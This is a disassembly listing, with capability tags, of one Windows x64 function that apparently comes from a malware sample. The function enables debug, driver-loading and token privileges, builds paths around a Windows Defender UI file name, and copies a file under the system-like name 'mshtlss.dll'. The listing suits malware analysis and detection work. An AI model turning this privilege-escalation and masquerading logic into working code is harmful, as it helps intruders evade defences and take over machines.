Function at 0x140005f60
Capabilities:
Acquire debug privileges
Check if file exists
Check os version
Copy file
Get common file path
Get system information on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x90]
sub rsp, 0x190
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
lea rcx, [rsp + 0x74]
mov r8d, 0x118
mov dword [0x1400458e0], eax
call fcn.140007ee0
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov ecx, dword [rsp + 0x70]
xor r12d, r12d
cmp eax, 1
mov eax, dword [0x140035884]
cmovne ecx, r12d
mov dword [rsp + 0x70], ecx
cmp eax, 0x13
jge 0x140005fd2
add eax, 0x5b
jmp 0x140005fd4
dec eax
mov dword [0x140035884], eax
lea rcx, [0x1400475d0]
mov eax, 2
lea rdx, [rsp + 0x70]
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140005ff0
mov rax, qword [rdx + 0x10]
lea r14, [0x140046fa0]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rax
mov eax, dword [rdx + 0x18]
mov edx, 0x20a
mov dword [rcx + 0x18], eax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea r15, [0x1400473c0]
mov edx, 0x20a
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
lea rsi, [0x140045d10]
mov ecx, 0x20a
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rbx, [0x1400471b0]
mov ecx, 0x104
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x60]
mov dword [0x1400458e4], eax
mov dword [rbp + 0xd0], r12d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [rbp + 0xd0], 1
jne 0x140006180
cmp byte [0x1400358b3], r12b
je 0x140006180
lea rdx, [0x140046340]
mov byte [0x140045f1a], 1
lea rcx, [rdx - 2]
mov word [0x140046340], r12w
cmp word [rcx + 2], r12w
lea rcx, [rcx + 2]
jne 0x140006111
xor edi, edi
nop
movzx eax, word [rbx + rdi*2]
mov word [rcx + rdi*2], ax
lea rdi, [rdi + 1]
test ax, ax
jne 0x140006120
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
inc rcx
cmp word [rdx + rcx*2], r12w
jne 0x140006140
cmp word [rdx + rcx*2 - 2], 0x5c
mov eax, dword [0x140019c88]
je 0x14000616c
lea rcx, [rdx - 2]
nop dword [rax]
add rcx, 2
cmp word [rcx], r12w
jne 0x140006160
mov dword [rcx], eax
sub rdx, 2
cmp word [rdx + 2], r12w
lea rdx, [rdx + 2]
jne 0x140006170
jmp 0x14000620b
lea rdx, [0x140046970]
mov byte [0x140045f1a], 1
lea rcx, [rdx - 2]
mov word [0x140046970], r12w
nop word [rax + rax]
cmp word [rcx + 2], r12w
lea rcx, [rcx + 2]
jne 0x1400061a0
xor edi, edi
nop dword [rax]
movzx eax, word [rbx + rdi*2]
mov word [rcx + rdi*2], ax
lea rdi, [rdi + 1]
test ax, ax
jne 0x1400061b0
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
inc rcx
cmp word [rdx + rcx*2], r12w
jne 0x1400061d0
cmp word [rdx + rcx*2 - 2], 0x5c
mov eax, dword [0x140019c88]
je 0x1400061fc
lea rcx, [rdx - 2]
nop dword [rax]
add rcx, 2
cmp word [rcx], r12w
jne 0x1400061f0
mov dword [rcx], eax
sub rdx, 2
cmp word [rdx + 2], r12w
lea rdx, [rdx + 2]
jne 0x140006200
movzx ecx, word [0x140019cf4]
lea r13, [0x140045b00]
mov word [rdx], cx
lea rdi, [r13 - 2]
mov word [0x140045b00], r12w
nop dword [rax + rax]
cmp word [rdi + 2], r12w
lea rdi, [rdi + 2]
jne 0x140006230
xor r8d, r8d
nop
movzx edx, word [r14 + r8*2]
mov word [rdi + r8*2], dx
lea r8, [r8 + 1]
test dx, dx
jne 0x140006240
mov rdx, 0xffffffffffffffff
nop word [rax + rax]
cmp word [r13 + rdx*2 + 2], r12w
lea rdx, [rdx + 1]
jne 0x140006260
cmp word [r13 + rdx*2 - 2], 0x5c
je 0x14000628d
lea rdx, [r13 - 2]
nop dword [rax]
cmp word [rdx + 2], r12w
lea rdx, [rdx + 2]
jne 0x140006280
mov dword [rdx], eax
lea rdx, [r13 - 2]
cmp word [rdx + 2], r12w
lea rdx, [rdx + 2]
jne 0x140006291
movups xmm1, xmmword [str.MSASCuiL.exe]
lea rdi, [0x140046130]
movzx r10d, word [0x14001a4d8]
movsd xmm2, qword [0x14001a4d0]
lea r8, [rdi - 2]
movups xmmword [rdx], xmm1
mov word [0x140046130], r12w
movsd qword [rdx + 0x10], xmm2
mov word [rdx + 0x18], r10w
cmp word [r8 + 2], r12w
lea r8, [r8 + 2]
jne 0x1400062d3
xor r9d, r9d
movzx edx, word [r15 + r9*2]
mov word [r8 + r9*2], dx
lea r9, [r9 + 1]
test dx, dx
jne 0x1400062e1
mov rdx, 0xffffffffffffffff
nop dword [rax + rax]
cmp word [rdi + rdx*2 + 2], r12w
lea rdx, [rdx + 1]
jne 0x140006300
cmp word [rdi + rdx*2 - 2], 0x5c
je 0x14000632d
lea rdx, [rdi - 2]
nop dword [rax + rax]
cmp word [rdx + 2], r12w
lea rdx, [rdx + 2]
jne 0x140006320
mov dword [rdx], eax
sub rdi, 2
cmp word [rdi + 2], r12w
lea rdi, [rdi + 2]
jne 0x140006331
mov word [rdi], cx
lea rdi, [0x1400458f0]
lea r8, [rdi - 2]
mov word [0x1400458f0], r12w
cmp word [r8 + 2], r12w
lea r8, [r8 + 2]
jne 0x140006352
xor r9d, r9d
movzx edx, word [rsi + r9*2]
mov word [r8 + r9*2], dx
lea r9, [r9 + 1]
test dx, dx
jne 0x140006360
mov rdx, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rdi + rdx*2 + 2], r12w
lea rdx, [rdx + 1]
jne 0x140006380
cmp word [rdi + rdx*2 - 2], 0x5c
je 0x1400063ad
lea rdx, [rdi - 2]
nop dword [rax + rax]
cmp word [rdx + 2], r12w
lea rdx, [rdx + 2]
jne 0x1400063a0
mov dword [rdx], eax
sub rdi, 2
cmp word [rdi + 2], r12w
lea rdi, [rdi + 2]
jne 0x1400063b1
movups xmmword [rdi], xmm1
mov word [0x140046760], r12w
movsd qword [rdi + 0x10], xmm2
mov word [rdi + 0x18], r10w
lea rdi, [0x140046760]
lea r8, [rdi - 2]
nop dword [rax]
cmp word [r8 + 2], r12w
lea r8, [r8 + 2]
jne 0x1400063e0
xor r9d, r9d
nop
movzx edx, word [rsi + r9*2]
mov word [r8 + r9*2], dx
lea r9, [r9 + 1]
test dx, dx
jne 0x1400063f0
mov rdx, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rdi + rdx*2 + 2], r12w
lea rdx, [rdx + 1]
jne 0x140006410
cmp word [rdi + rdx*2 - 2], 0x5c
je 0x14000643d
lea rdx, [rdi - 2]
nop dword [rax + rax]
cmp word [rdx + 2], r12w
lea rdx, [rdx + 2]
jne 0x140006430
mov dword [rdx], eax
sub rdi, 2
cmp word [rdi + 2], r12w
lea rdi, [rdi + 2]
jne 0x140006441
mov word [rdi], cx
lea rdi, [0x140046550]
lea r8, [rdi - 2]
mov word [0x140046550], r12w
cmp word [r8 + 2], r12w
lea r8, [r8 + 2]
jne 0x140006462
xor r9d, r9d
movzx edx, word [r14 + r9*2]
mov word [r8 + r9*2], dx
lea r9, [r9 + 1]
test dx, dx
jne 0x140006470
mov rdx, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rdi + rdx*2 + 2], r12w
lea rdx, [rdx + 1]
jne 0x140006490
cmp word [rdi + rdx*2 - 2], 0x5c
je 0x1400064bd
lea rdx, [rdi - 2]
nop dword [rax + rax]
cmp word [rdx + 2], r12w
lea rdx, [rdx + 2]
jne 0x1400064b0
mov dword [rdx], eax
sub rdi, 2
cmp word [rdi + 2], r12w
lea rdi, [rdi + 2]
jne 0x1400064c1
movups xmm0, xmmword [0x14001a488]
mov word [0x140046b80], r12w
movsd xmm1, qword [0x14001a498]
movups xmmword [rdi], xmm0
movsd qword [rdi + 0x10], xmm1
lea rdi, [0x140046b80]
lea r8, [rdi - 2]
nop word [rax + rax]
cmp word [r8 + 2], r12w
lea r8, [r8 + 2]
jne 0x140006500
xor r9d, r9d
nop
movzx edx, word [r15 + r9*2]
mov word [r8 + r9*2], dx
lea r9, [r9 + 1]
test dx, dx
jne 0x140006510
mov rdx, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rdi + rdx*2 + 2], r12w
lea rdx, [rdx + 1]
jne 0x140006530
cmp word [rdi + rdx*2 - 2], 0x5c
je 0x14000655d
lea rdx, [rdi - 2]
nop dword [rax + rax]
cmp word [rdx + 2], r12w
lea rdx, [rdx + 2]
jne 0x140006550
mov dword [rdx], eax
sub rdi, 2
cmp word [rdi + 2], r12w
lea rdi, [rdi + 2]
jne 0x140006561
mov word [rdi], cx
call fcn.140002a20
mov qword [rbp + 0xd8], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0xd8]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea r8, [rbp + 0xe0]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400065f0
mov rax, qword [rbp + 0xe0]
lea r8, [rsp + 0x30]
mov rcx, qword [rbp + 0xd8]
mov r9d, 0x10
mov qword [rsp + 0x28], r12
xor edx, edx
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov qword [rbp + 0xe0], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0xe0]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea r8, [rbp + 0xd8]
xor ecx, ecx
lea rdx, str.SeSecurityPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400067e9
mov rax, qword [rbp + 0xd8]
lea r8, [rsp + 0x30]
mov rcx, qword [rbp + 0xe0]
mov r9d, 0x10
mov qword [rsp + 0x28], r12
xor edx, edx
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1400067e9
mov rcx, qword [rbp + 0xe0]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], r12
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x20], r12
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x34], 2
mov dword [rsp + 0x3c], 2
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1400067e9
lea r8, [rbp + 0xd8]
xor ecx, ecx
lea rdx, str.SeLoadDriverPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400067e9
mov rax, qword [rbp + 0xd8]
lea r8, [rsp + 0x30]
mov rcx, qword [rbp + 0xe0]
mov r9d, 0x10
mov qword [rsp + 0x28], r12
xor edx, edx
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1400067e9
lea r8, [rbp + 0xd8]
xor ecx, ecx
lea rdx, str.SeAssignPrimaryTokenPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400067e9
mov rax, qword [rbp + 0xd8]
lea r8, [rsp + 0x30]
mov rcx, qword [rbp + 0xe0]
mov r9d, 0x10
mov qword [rsp + 0x28], r12
xor edx, edx
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1400067e9
lea r8, [rbp + 0xd8]
xor ecx, ecx
lea rdx, str.SeIncreaseQuotaPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400067e9
mov rax, qword [rbp + 0xd8]
lea r8, [rsp + 0x30]
mov rcx, qword [rbp + 0xe0]
mov r9d, 0x10
mov qword [rsp + 0x28], r12
xor edx, edx
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1400067e9
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x140005a90]
call fcn.1400071cc
mov edx, 0x400
lea rcx, [0x140022810]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
test eax, eax
jne 0x140006831
nop dword [rax + rax]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x400
lea rcx, [0x140022810]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
test eax, eax
je 0x140006810
mov edx, 0x400
lea rcx, [0x1400358b8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
test eax, eax
jne 0x140006871
nop word [rax + rax]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x400
lea rcx, [0x1400358b8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
test eax, eax
je 0x140006850
cmp dword [0x1400475d4], 0xa
jne 0x14000694d
mov ebx, 0x40
lea r11, str.explorer.exe
lea r14, str.totalcmd.exe
lea esi, [rbx + 0x1a]
nop dword [rax]
nop dword [rax + rax]
mov r9d, r12d
mov r10, r14
nop word [rax + rax]
mov rdi, qword [r10]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rdi + rax*2], r12w
jne 0x1400068c0
test rax, rax
je 0x140006925
mov r8, qword [r11]
mov rax, r8
sub rdi, r8
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + rdi]
sub edx, ecx
jne 0x1400068f3
add rax, 2
test ecx, ecx
jne 0x1400068e0
test edx, edx
jne 0x140006918
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp word [r8 + rcx*2], r12w
jne 0x140006900
test rcx, rcx
je 0x140006918
movzx eax, si
mov rdi, r8
rep stosw word [rdi], ax
inc r9d
add r10, 8
cmp r9d, 0x40
jb 0x1400068b0
add r11, 8
sub rbx, 1
jne 0x1400068a0
lea rcx, str.klsw2923lsls7bKGIsOIHY____yY24_R
cmp ecx, dword [0x140035884]
cmovne ecx, dword [0x140035884]
mov dword [0x140035884], ecx
mov byte [0x14002280f], 1
call fcn.140002630
test rax, rax
jne 0x140006966
mov eax, r12d
mov edi, r12d
jmp 0x140006976
movsx edi, byte [rax]
mov eax, edi
test edi, edi
jg 0x140006974
mov edi, r12d
jmp 0x140006976
dec edi
test eax, eax
setle byte [0x14002280f]
call fcn.140002630
test rax, rax
jne 0x140006992
mov byte [0x14001d908], dil
jmp 0x14000699f
mov byte [rax], dil
movups xmm0, xmmword [rax]
movups xmmword [0x14001d908], xmm0
call fcn.140002310
mov edi, dword [0x140046338]
call fcn.140002630
test rax, rax
jne 0x1400069bd
mov byte [0x14001d909], dil
jmp 0x1400069cb
mov byte [rax + 1], dil
movups xmm0, xmmword [rax]
movups xmmword [0x14001d908], xmm0
call fcn.140002310
call fcn.140003b70
call fcn.140003c80
call fcn.140003fb0
mov rcx, r13
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x140006a15
mov r8d, 1
lea rdx, str.mshtlss.dll
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140006a15
lea rdx, str.mshtlss.dll
mov rcx, r13
call fcn.140005e10
mov rcx, r13
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
lea rcx, str.mshtlss.dll
mov edi, eax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x140006a5c
test edi, edi
jne 0x140006a5c
lea r8d, [rdi + 1]
mov rdx, r13
lea rcx, str.mshtlss.dll
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140006a5c
mov rdx, r13
lea rcx, str.mshtlss.dll
call fcn.140005e10
mov rbx, qword [rsp + 0x1e8]
add rsp, 0x190
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret